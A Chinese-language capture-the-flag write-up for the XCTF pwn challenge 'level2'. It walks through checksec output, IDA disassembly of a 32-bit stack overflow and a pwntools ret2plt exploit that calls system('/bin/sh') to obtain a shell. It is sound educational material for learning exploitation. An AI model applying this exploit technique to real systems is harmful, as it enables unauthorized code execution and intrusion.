攻防世界PWN题 level2
拿到题目后,首先用 file 查看文件类型,可以发现是 ELF 32-bit 类型的文件
接下来使用 checksec 来查看文件开启了哪些保护,可得到如下内容:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有 canary,那么有可能做到栈溢出
执行一下来看效果,发现其流程为:
Input:
<获取输入>
Hello World!
放进 ida 里后在 Function name 窗口可以发现一个名为 vulnerable_function 的可疑函数,查看其代码,可得到如下内容:
; Attributes: bp-based frame
public vulnerable_function
vulnerable_function proc near
buf= byte ptr -88h; __unwind {
push ebp
mov ebp, esp
sub esp, 88h
sub esp, 0Ch
push offset command ; "echo Input:"
call _system
add esp, 10h
sub esp, 4
push 100h ; nbytes
lea eax, [ebp+buf]
push eax ; buf
push 0 ; fd
call _read
add esp, 10h
nop
leave
retn
; } // starts at 804844B
vulnerable_function endp
通过汇编代码中对 _system 和 _read 函数的调用可以看到,该程序在调用函数时会将参数放在栈里,同时虽然 buf 的大小本身只有 88h ,但传给 read 的第三个参数(读取的最大字符数)却高达 100h ,而因为程序没有开启 canary ,那么这里可以作为一个注入点来劫持程序的运行流
继续分析文件,通过 Strings 可以发现在地址 0x804a024 处有一字符串 "/bin/sh",而程序中使用了 system 来输出内容,那么就有可能可以构造出形如 system("/bin/sh") 的函数调用来获得 shell
通过 Function name 窗口,可以发现 _system 的地址为 0x8048320 (这里之所以看 _system 而不是 system ,是因为在 pwntools 里用 <ELF对象>.plt['system'] 得到了同样的结果,据说和 plt 有关,待研究)
总结一下目前的信息,我们需要通过 read 函数来将 payload 写入栈中,覆盖掉原来的返回地址,同时让 "/bin/sh" 作为其参数来获得 shell ,故可得到如下 exp:
from pwn import *
r = remote(远程ip, 远程port)
elf = ELF(本地 elf 文件的地址)
r.recv()
payload = b'0'*0x8c+p32(elf.plt['system'])+b'0000'+p32(elf.symbols['hint'])
r.sendline(payload)
r.interactive()
这里有几点说明:
- 符号表中的 hint 表示字符串 "/bin/sh"
- 先写入 0x8c 个 '0' 是因为,buf 本身需要 0x88 个字节来填充,原来压入的 ebp 需要 4 个字节,因此共 0x8c 个字
- system 地址和 hint 地址之间填充 4 个字节是因为,当程序的执行流因返回地址的改变而到达 system 时,它只是完成了一个跳转,而正常地 call 一个函数在跳转前会把 eip 先压入到栈内,这里少了这一步骤,到达 system 后 p32(elf.plt['system']) 这部分代表的内存会被压入 ebp 而不是 eip ,那么要想访问到 hint ,就需要在两者之间填充一个虚假的 eip ,这个可以随意,因为我们只需要 system 调用之后的效果,至于程序最后在返回时会不会 segment default 并不需要关心